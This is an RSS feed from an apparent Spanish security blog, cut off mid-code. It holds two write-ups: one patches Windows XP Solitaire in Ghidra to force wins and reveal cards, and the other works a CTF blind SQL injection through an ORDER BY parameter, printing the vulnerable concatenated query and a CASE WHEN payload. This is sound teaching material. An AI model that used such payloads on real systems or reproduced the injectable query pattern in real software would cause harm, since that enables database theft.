<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Challenge on</title><link>https://synacklabs.github.io/categories/challenge/</link><description>Recent content in Challenge on</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Wed, 11 Mar 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://synacklabs.github.io/categories/challenge/index.xml" rel="self" type="application/rss+xml"/><managingEditor>admin@synacklabs.github.io (SynAckLabs)</managingEditor><webMaster>admin@synacklabs.github.io (SynAckLabs)</webMaster><item><title>Ingeniería Inversa del Solitario (Windows XP): Forzando victorias y manipulando la visibilidad del tablero con Ghidra</title><link>https://synacklabs.github.io/posts/solitario/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/solitario/</guid><description>&lt;h2 id="1-introducción"&gt;1. Introducción&lt;/h2&gt;
&lt;p&gt;En esta entrada voy a explicar el proceso de análisis de dos aspectos del Solitario de Windows mediante ingeniería inversa con Ghidra. El objetivo es documentar cómo identificar y alterar comportamientos específicos del juego directamente desde el binario.&lt;/p&gt;
&lt;p&gt;El write-up se divide en dos objetivos principales:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Localización de funciones ocultas:&lt;/strong&gt; Identificar y activar el comando &lt;code&gt;&amp;quot;Force a win&amp;quot;&lt;/code&gt;, una funcionalidad no documentada que permite forzar la victoria. Veremos cómo rastrear este comando desde los strings del programa hasta su implementación en el código.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modificación de la lógica de renderizado:&lt;/strong&gt; Analizar cómo el programa gestiona la visibilidad de las cartas en el tablero. El reto aquí es modificar la lógica que controla las columnas para que todas las cartas se muestren boca arriba, eliminando la restricción que solo permite ver la última carta de cada pila.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="2-parte-i-activando-el-comando-oculto"&gt;&lt;strong&gt;2. Parte I: Activando el comando oculto &amp;ldquo;Force a win&amp;rdquo;&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id="21-análisis-de-strings-primer-contacto-con-la-lista-de-cadenas-definidas"&gt;&lt;strong&gt;2.1. Análisis de strings:&lt;/strong&gt; Primer contacto con la lista de cadenas definidas.&lt;/h3&gt;
&lt;p&gt;Lo primero que hice al abrir el binario en Ghidra fue ir a lo seguro. Como no sabía por dónde empezar a buscar funciones ocultas, decidí echar un vistazo a los strings del programa. Me fui al menú &lt;strong&gt;Window&lt;/strong&gt; y seleccioné &lt;strong&gt;Defined Strings&lt;/strong&gt;. Mi idea era ver si los desarrolladores habían dejado algún mensaje de debug o algún nombre interesante que me diera una pista de qué hace el juego por detrás.&lt;/p&gt;</description><content>&lt;h2 id="1-introducción"&gt;1. Introducción&lt;/h2&gt;
&lt;p&gt;En esta entrada voy a explicar el proceso de análisis de dos aspectos del Solitario de Windows mediante ingeniería inversa con Ghidra. El objetivo es documentar cómo identificar y alterar comportamientos específicos del juego directamente desde el binario.&lt;/p&gt;
&lt;p&gt;El write-up se divide en dos objetivos principales:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Localización de funciones ocultas:&lt;/strong&gt; Identificar y activar el comando &lt;code&gt;&amp;quot;Force a win&amp;quot;&lt;/code&gt;, una funcionalidad no documentada que permite forzar la victoria. Veremos cómo rastrear este comando desde los strings del programa hasta su implementación en el código.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modificación de la lógica de renderizado:&lt;/strong&gt; Analizar cómo el programa gestiona la visibilidad de las cartas en el tablero. El reto aquí es modificar la lógica que controla las columnas para que todas las cartas se muestren boca arriba, eliminando la restricción que solo permite ver la última carta de cada pila.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="2-parte-i-activando-el-comando-oculto"&gt;&lt;strong&gt;2. Parte I: Activando el comando oculto &amp;ldquo;Force a win&amp;rdquo;&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id="21-análisis-de-strings-primer-contacto-con-la-lista-de-cadenas-definidas"&gt;&lt;strong&gt;2.1. Análisis de strings:&lt;/strong&gt; Primer contacto con la lista de cadenas definidas.&lt;/h3&gt;
&lt;p&gt;Lo primero que hice al abrir el binario en Ghidra fue ir a lo seguro. Como no sabía por dónde empezar a buscar funciones ocultas, decidí echar un vistazo a los strings del programa. Me fui al menú &lt;strong&gt;Window&lt;/strong&gt; y seleccioné &lt;strong&gt;Defined Strings&lt;/strong&gt;. Mi idea era ver si los desarrolladores habían dejado algún mensaje de debug o algún nombre interesante que me diera una pista de qué hace el juego por detrás.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-80fe-a0f3-c72cd4a28419.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al abrir la lista de strings, me puse a investigar un poco. La mayoría parecían nombres de funciones estándar de Windows, pero de repente vi algo que me llamó la atención: &lt;strong&gt;&amp;ldquo;Force a win&amp;rdquo;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-8017-a63d-c54be4bd68ba.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="22-identificación-del-recurso-id-1010"&gt;&lt;strong&gt;2.2. Identificación del recurso:&lt;/strong&gt; ID 1010.&lt;/h3&gt;
&lt;p&gt;La presencia de esta cadena sugiere la existencia de una funcionalidad no documentada que fuerza la victoria. Al hacer doble clic sobre ella, Ghidra me llevó a su ubicación en la sección de recursos. Allí se observa que pertenece a una tabla de strings con identificadores numéricos. Concretamente, &amp;ldquo;Force a win&amp;rdquo; tiene asignado el &lt;strong&gt;ID 1010&lt;/strong&gt; (Rsrc String ID 1010).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-809a-813b-d1b756b6d989.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="23-conversión-de-bases-localizando-el-valor-hexadecimal-0x03f2"&gt;&lt;strong&gt;2.3. Conversión de bases:&lt;/strong&gt; Localizando el valor hexadecimal 0x03F2.&lt;/h3&gt;
&lt;p&gt;Antes de seguir buscando en el código, me detuve un momento. Como Ghidra y el lenguaje ensamblador suelen trabajar con valores hexadecimales, necesitaba saber cómo se escribe 1010 en hex. Convertimos el ID a hexadecimal (0x3F2). Ya tengo el valor que debo buscar en las instrucciones del programa: &lt;code&gt;0x3f2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-801c-96f3-c94802d2a655.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="24-rastreo-en-el-desensamblado-localización-del-manejador-de-comandos"&gt;&lt;strong&gt;2.4. Rastreo en el desensamblado:&lt;/strong&gt; Localización del manejador de comandos&lt;/h3&gt;
&lt;p&gt;Con el valor &lt;code&gt;0x3F2&lt;/code&gt; como objetivo, realicé una búsqueda en el código desensamblado. En la dirección &lt;code&gt;010019d2&lt;/code&gt; aparecía la instrucción &lt;code&gt;CMP EAX, 0x3f2&lt;/code&gt;, justo antes de un salto condicional &lt;code&gt;JZ&lt;/code&gt; hacia la etiqueta &lt;code&gt;LAB_01001a35&lt;/code&gt;. Esta comparación es típica de un manejador de comandos: el programa evalúa si el parámetro recibido coincide con el ID 1010 y, en caso afirmativo, desvía el flujo hacia la rutina correspondiente.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-80fc-8d45-eec13e97fdb3.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-8053-b3e1-e7f9ef7fc5ac.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-80b1-8861-ebe344112a0f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="25-análisis-del-flujo-de-victoria-y-el-gatillo-del-deal"&gt;2.5. Análisis del flujo de victoria y el &amp;ldquo;gatillo&amp;rdquo; del Deal&lt;/h3&gt;
&lt;p&gt;Seguí el salto hasta la etiqueta &lt;code&gt;LAB_01001a35&lt;/code&gt; para ver qué pasaba allí. Me encontré con un bloque de código que hace un &lt;code&gt;XOR ESI, ESI&lt;/code&gt; (una forma rápida de poner a cero un registro) y luego hace varios &lt;code&gt;PUSH&lt;/code&gt;, incluyendo el valor &lt;code&gt;0x12&lt;/code&gt;. Aunque todavía me cuesta entender exactamente qué hace cada instrucción de la pila, este parece ser el camino que toma el juego para saltar directamente a la pantalla de victoria.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-8026-a708-f9eb55b6c5ff.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Investigando el código cercano para entender qué más podíamos controlar, identifiqué el valor &lt;strong&gt;1000&lt;/strong&gt; (en hex &lt;code&gt;0x3E8&lt;/code&gt;). Este ID es el &amp;ldquo;gatillo&amp;rdquo; que se activa cuando el usuario pulsa &lt;strong&gt;&amp;ldquo;Deal&amp;rdquo;&lt;/strong&gt; (Repartir). En condiciones normales, este evento llama a una función que yo mismo renombré como &lt;code&gt;RESET_TIME&lt;/code&gt;, encargada de limpiar el tablero para una partida nueva. También vi menciones a &lt;code&gt;0x3e9&lt;/code&gt; y &lt;code&gt;0x3ea&lt;/code&gt;. Estos IDs corresponden probablemente a otras funciones internas, como reiniciar el tiempo o activar modos de depuración.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-8047-8c10-e99fe45b4e82.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;2.6. Secuestro de flujo: Convirtiendo el reinicio en victoria&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Con el conocimiento de que el ID &lt;strong&gt;1000&lt;/strong&gt; dispara la función de repartir (&lt;code&gt;RESET_TIME&lt;/code&gt;), decidí realizar un secuestro de flujo (hijacking) utilizando la herramienta &lt;strong&gt;Patch Instruction&lt;/strong&gt; de Ghidra. El objetivo era simple: redirigir una acción legítima del usuario hacia la función de victoria que acababa de descubrir.&lt;/p&gt;
&lt;p&gt;El proceso técnico consistió en lo siguiente:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Identificación del salto:&lt;/strong&gt; Localicé la instrucción de salto condicional que se ejecuta cuando el programa detecta el ID 1000.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Redirección del destino:&lt;/strong&gt; Modifiqué la dirección de memoria de ese salto para que, en lugar de apuntar a la rutina de reinicio, saltara directamente a la etiqueta &lt;code&gt;LAB_01001a35&lt;/code&gt; (el bloque que activa la animación de victoria).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Gracias a este parche, el comportamiento del binario cambia por completo: ahora, cada vez que se pulsa &amp;ldquo;Nueva partida&amp;rdquo;, el programa omite la lógica de inicio y ejecuta la rutina de victoria. Esto demuestra cómo, alterando un solo salto en el desensamblado, podemos forzar al software a ejecutar funciones fuera de su contexto original.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-80fd-9dce-c6915cd90323.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-801c-9387-d0007f410b21.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-801d-9bda-e830d3ca73a5.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-809c-b07d-e856165dd88b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-805c-a8fa-e33bd0ab0725.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="3-parte-ii-ingeniería-de-la-visibilidad-de-las-cartas"&gt;&lt;strong&gt;3. Parte II: Ingeniería de la visibilidad de las cartas&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id="31-descartando-el-motor-gráfico-limitaciones-de-cardsdll-y-cdt_draw"&gt;&lt;strong&gt;3.1. Descartando el motor gráfico:&lt;/strong&gt; Limitaciones de Cards.dll y CDT_Draw.&lt;/h3&gt;
&lt;p&gt;Para entender cómo el juego muestra las cartas, empecé por lo más lógico: buscar qué librerías externas utiliza para dibujar. En la tabla de importaciones encontré &lt;code&gt;Cards.dll&lt;/code&gt; y, dentro de ella, la función &lt;code&gt;CDT_Draw&lt;/code&gt;. Mi razonamiento fue que, si encontraba dónde se llama a esta función, podría interceptar el momento en que se decide si una carta se dibuja boca arriba o boca abajo. Sin embargo, al profundizar en las llamadas, me di cuenta de que &lt;code&gt;cdtDraw&lt;/code&gt; solo recibe parámetros y dibuja; la lógica que decide si una carta va boca arriba o boca abajo está en otro lado. Necesitaba encontrar el código que toma esas decisiones.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-804c-a179-f0b92604d9b7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-806d-bbd7-e0b76d4bdc93.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-801a-acd5-c7fcf8bf2c5a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="32-la-técnica-de-la-constante-conocida-buscando-el-7-en-la-lógica-de-columnas"&gt;&lt;strong&gt;3.2. La técnica de la constante conocida:&lt;/strong&gt; Buscando el &amp;ldquo;7&amp;rdquo; en la lógica de columnas.&lt;/h3&gt;
&lt;p&gt;Decidí cambiar de enfoque: en lugar de seguir el rastro de las funciones gráficas, me centré en la lógica del tablero. El solitario clásico tiene &lt;strong&gt;7 columnas&lt;/strong&gt; en la zona de juego, así que el programa seguramente itera sobre esas columnas. Si hay un bucle que recorre las columnas, debe haber una comparación con el número 7. Busqué en todo el código desensamblado la instrucción &lt;code&gt;CMP&lt;/code&gt; con el valor &lt;code&gt;0x7&lt;/code&gt; y encontré varios candidatos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-80ba-a11b-cf2b475242a5.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;¡Bingo! Entre los resultados, encontré una sección de código donde se comparaba el registro &lt;code&gt;EAX&lt;/code&gt; con &lt;code&gt;0x7&lt;/code&gt;. Esta comparación (&lt;code&gt;CMP EAX, 7&lt;/code&gt;) no parecía ser un valor aleatorio; estaba justo antes de un salto condicional que controlaba un bucle importante. Sabía que estaba en el lugar correcto: esta es la función que gestiona el barrido de las 7 columnas del tablero.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-803d-ad3a-c7ac6f49f0fa.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="33-anatomía-del-bucle-de-renderizado-cómo-el-juego-barre-el-tablero"&gt;&lt;strong&gt;3.3. Anatomía del bucle de renderizado:&lt;/strong&gt; Cómo el juego barre el tablero.&lt;/h3&gt;
&lt;p&gt;Al analizar la función que barre las 7 columnas, identifiqué un bucle interno encargado de procesar las cartas de cada pila. La lógica es interesante: el programa recupera el número total de cartas en la columna y utiliza un contador para iterar sobre ellas.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-80c0-b8b9-dfa83eed9a1f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La clave de la visibilidad reside en una comparación crítica: el juego contrasta el índice de la carta actual con el índice de la última carta de la pila.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;La condición:&lt;/strong&gt; Si el índice es igual al total (la carta de la cima), el flujo continúa hacia la rutina de visibilidad.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;El salto condicional:&lt;/strong&gt; En ensamblador, esto es un &lt;code&gt;CMP&lt;/code&gt; seguido de un &lt;code&gt;JNZ&lt;/code&gt; (&lt;em&gt;Jump if Not Zero&lt;/em&gt;). Si la carta no es la última, el &lt;code&gt;JNZ&lt;/code&gt; hace que el programa &amp;ldquo;salte&amp;rdquo; por encima del &lt;code&gt;CALL&lt;/code&gt; que marca la carta como visible.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Al neutralizar este &lt;code&gt;JNZ&lt;/code&gt;, obligo al programa a ejecutar el &lt;code&gt;CALL&lt;/code&gt; que da visibilidad para &lt;strong&gt;todas&lt;/strong&gt; las cartas, sin importar su posición.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-8046-9bad-fb7dfc020a36.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-80c5-b3ee-fd2219a0a62d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="4-el-parche-final-neutralización-del-salto-uso-de-nops-para-revelar-todo-el-tablero"&gt;&lt;strong&gt;4. El Parche Final: Neutralización del salto:&lt;/strong&gt; Uso de NOPs para revelar todo el tablero.&lt;/h2&gt;
&lt;p&gt;El parche consiste en sustituir los bytes del &lt;code&gt;JNZ&lt;/code&gt; por dos instrucciones &lt;strong&gt;&lt;code&gt;NOP&lt;/code&gt;&lt;/strong&gt; (&lt;em&gt;No Operation&lt;/em&gt;). Al hacer esto, el flujo de ejecución se vuelve lineal: el &amp;ldquo;portero&amp;rdquo; que impedía mostrar las cartas inferiores desaparece, y el motor gráfico recibe la instrucción de renderizar la cara de cada carta de la columna. El resultado es un tablero completamente destapado desde el inicio de la partida.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-8054-9db8-d96c6a20b064.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-8050-8ac1-d8c1ac86fe16.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-8020-a9d0-db7aa6f6fe17.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="conclusión"&gt;&lt;strong&gt;Conclusión&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Hemos recorrido dos caminos diferentes dentro del ejecutable del Solitario: primero localizamos y activamos un comando oculto que fuerza la victoria, y después modificamos la lógica de dibujado para hacer visibles todas las cartas. A lo largo del proceso hemos puesto en práctica varias técnicas fundamentales de ingeniería inversa.&lt;/p&gt;
&lt;p&gt;Estas técnicas nos han permitido descubrir mecanismos internos del juego que no están visibles en la interfaz normal, demostrando cómo el análisis directo del binario puede revelar funcionalidades ocultas y ofrecer un control completo sobre el comportamiento de la aplicación.&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>emoji voting (Easy)</title><link>https://synacklabs.github.io/posts/emojivoting/</link><pubDate>Sun, 18 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/emojivoting/</guid><description>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Este endpoint (/api/list) permite controlar el parámetro &lt;code&gt;order&lt;/code&gt; que se inserta en un &lt;code&gt;ORDER BY&lt;/code&gt;, lo que abre la puerta a una &lt;strong&gt;SQL Injection ciega (boolean-based)&lt;/strong&gt;. A partir de respuestas True/False, se puede extraer información carácter a carácter (primero el nombre de la tabla y luego el contenido de la columna &lt;code&gt;flag&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="código-vulnerable-punto-de-entrada"&gt;Código vulnerable (punto de entrada)&lt;/h3&gt;
&lt;p&gt;En el backend se construye una query concatenando &lt;code&gt;order&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;async getEmojis(order) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; // TOOD&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; add parametrization
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; new Promise(async (resolve, reject) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; let query = `SELECT * FROM emojis ORDER BY ${ order }`;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; resolve(await this.db.all(query));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt;(e) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; reject(e);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y el endpoint recibe &lt;code&gt;order&lt;/code&gt; desde el body:&lt;/p&gt;</description><content>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Este endpoint (/api/list) permite controlar el parámetro &lt;code&gt;order&lt;/code&gt; que se inserta en un &lt;code&gt;ORDER BY&lt;/code&gt;, lo que abre la puerta a una &lt;strong&gt;SQL Injection ciega (boolean-based)&lt;/strong&gt;. A partir de respuestas True/False, se puede extraer información carácter a carácter (primero el nombre de la tabla y luego el contenido de la columna &lt;code&gt;flag&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="código-vulnerable-punto-de-entrada"&gt;Código vulnerable (punto de entrada)&lt;/h3&gt;
&lt;p&gt;En el backend se construye una query concatenando &lt;code&gt;order&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;async getEmojis(order) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; // TOOD&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; add parametrization
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; new Promise(async (resolve, reject) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; let query = `SELECT * FROM emojis ORDER BY ${ order }`;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; resolve(await this.db.all(query));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt;(e) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; reject(e);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y el endpoint recibe &lt;code&gt;order&lt;/code&gt; desde el body:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;router.post(&lt;span style="color:#e6db74"&gt;&amp;#39;/api/list&amp;#39;&lt;/span&gt;, (req, res) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; let { order } = req.body;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (order) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; db.getEmojis(order)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .then(data =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (data) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; res.json(data);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; res.send(response(&lt;span style="color:#e6db74"&gt;&amp;#39;Seems like there are no emojis&amp;#39;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt;((e) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; res.send(response(&lt;span style="color:#e6db74"&gt;&amp;#39;Something went wrong&amp;#39;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; res.send(response(&lt;span style="color:#e6db74"&gt;&amp;#39;Missing parameters&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="confirmación-control-del-order"&gt;Confirmación: control del &lt;code&gt;order&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Podemos controlar el parámetro &lt;code&gt;order&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ec888fa-f353-80bc-b4bc-c633deff1a75.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ec888fa-f353-8075-921b-ea240886dde6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="sqli-boolean-based-en-order-by"&gt;SQLi boolean-based en &lt;code&gt;ORDER BY&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;La idea es forzar dos comportamientos distintos (True vs False) cambiando el criterio de ordenación mediante un &lt;code&gt;CASE WHEN&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;order&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;(CASE WHEN (1=1) THEN id ELSE count END) ASC&amp;#34;&lt;/span&gt; &lt;span style="color:#75715e"&gt;# true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
